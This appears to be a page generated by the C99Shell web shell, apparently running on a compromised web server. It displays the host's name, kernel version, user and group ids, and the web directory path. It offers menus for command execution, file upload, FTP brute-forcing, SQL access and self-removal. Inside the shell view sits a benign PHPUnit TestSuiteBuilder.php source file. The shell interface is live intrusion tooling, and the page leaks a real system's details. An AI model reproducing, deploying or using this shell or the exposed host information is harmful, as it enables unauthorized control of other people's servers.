!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/sms.picotech.app/public_html/vendor/phpunit/phpunit/src/TextUI/Configuration/   drwxr-xr-x
Free 28.31 GB of 117.98 GB (24%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     TestSuiteBuilder.php (4.23 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php declare(strict_types=1);
/*
 * This file is part of PHPUnit.
 *
 * (c) Sebastian Bergmann <sebastian@phpunit.de>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */
namespace PHPUnit\TextUI\Configuration;

use const 
PHP_EOL;
use function 
assert;
use function 
count;
use function 
is_dir;
use function 
is_file;
use function 
realpath;
use function 
str_ends_with;
use 
PHPUnit\Event\Facade as EventFacade;
use 
PHPUnit\Exception;
use 
PHPUnit\Framework\TestSuite;
use 
PHPUnit\Runner\TestSuiteLoader;
use 
PHPUnit\TextUI\RuntimeException;
use 
PHPUnit\TextUI\TestDirectoryNotFoundException;
use 
PHPUnit\TextUI\TestFileNotFoundException;
use 
PHPUnit\TextUI\XmlConfiguration\TestSuiteMapper;
use 
SebastianBergmann\FileIterator\Facade as FileIteratorFacade;

/**
 * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit
 *
 * @internal This class is not covered by the backward compatibility promise for PHPUnit
 */
final class TestSuiteBuilder
{
    
/**
     * @throws \PHPUnit\Framework\Exception
     * @throws RuntimeException
     * @throws TestDirectoryNotFoundException
     * @throws TestFileNotFoundException
     */
    
public function build(Configuration $configuration): TestSuite
    
{
        if (
$configuration->hasCliArguments()) {
            
$arguments = [];

            foreach (
$configuration->cliArguments() as $cliArgument) {
                
$argument realpath($cliArgument);

                if (!
$argument) {
                    throw new 
TestFileNotFoundException($cliArgument);
                }

                
$arguments[] = $argument;
            }

            if (
count($arguments) === 1) {
                
$testSuite $this->testSuiteFromPath(
                    
$arguments[0],
                    
$configuration->testSuffixes(),
                );
            } else {
                
$testSuite $this->testSuiteFromPathList(
                    
$arguments,
                    
$configuration->testSuffixes(),
                );
            }
        }

        if (!isset(
$testSuite)) {
            
$xmlConfigurationFile $configuration->hasConfigurationFile() ? $configuration->configurationFile() : 'Root Test Suite';

            
assert(!empty($xmlConfigurationFile));

            
$testSuite = (new TestSuiteMapper)->map(
                
$xmlConfigurationFile,
                
$configuration->testSuite(),
                
$configuration->includeTestSuite(),
                
$configuration->excludeTestSuite(),
            );
        }

        
EventFacade::emitter()->testSuiteLoaded(\PHPUnit\Event\TestSuite\TestSuiteBuilder::from($testSuite));

        return 
$testSuite;
    }

    
/**
     * @psalm-param non-empty-string $path
     * @psalm-param list<non-empty-string> $suffixes
     * @psalm-param ?TestSuite $suite
     *
     * @throws \PHPUnit\Framework\Exception
     */
    
private function testSuiteFromPath(string $path, array $suffixes, ?TestSuite $suite null): TestSuite
    
{
        if (
str_ends_with($path'.phpt') && is_file($path)) {
            
$suite $suite ?: TestSuite::empty($path);
            
$suite->addTestFile($path);

            return 
$suite;
        }

        if (
is_dir($path)) {
            
$files = (new FileIteratorFacade)->getFilesAsArray($path$suffixes);

            
$suite $suite ?: TestSuite::empty('CLI Arguments');
            
$suite->addTestFiles($files);

            return 
$suite;
        }

        try {
            
$testClass = (new TestSuiteLoader)->load($path);
        } catch (
Exception $e) {
            print 
$e->getMessage() . PHP_EOL;

            exit(
1);
        }

        if (!
$suite) {
            return 
TestSuite::fromClassReflector($testClass);
        }

        
$suite->addTestSuite($testClass);

        return 
$suite;
    }

    
/**
     * @psalm-param list<non-empty-string> $paths
     * @psalm-param list<non-empty-string> $suffixes
     *
     * @throws \PHPUnit\Framework\Exception
     */
    
private function testSuiteFromPathList(array $paths, array $suffixes): TestSuite
    
{
        
$suite TestSuite::empty('CLI Arguments');

        foreach (
$paths as $path) {
            
$this->testSuiteFromPath($path$suffixes$suite);
        }

        return 
$suite;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0137 ]--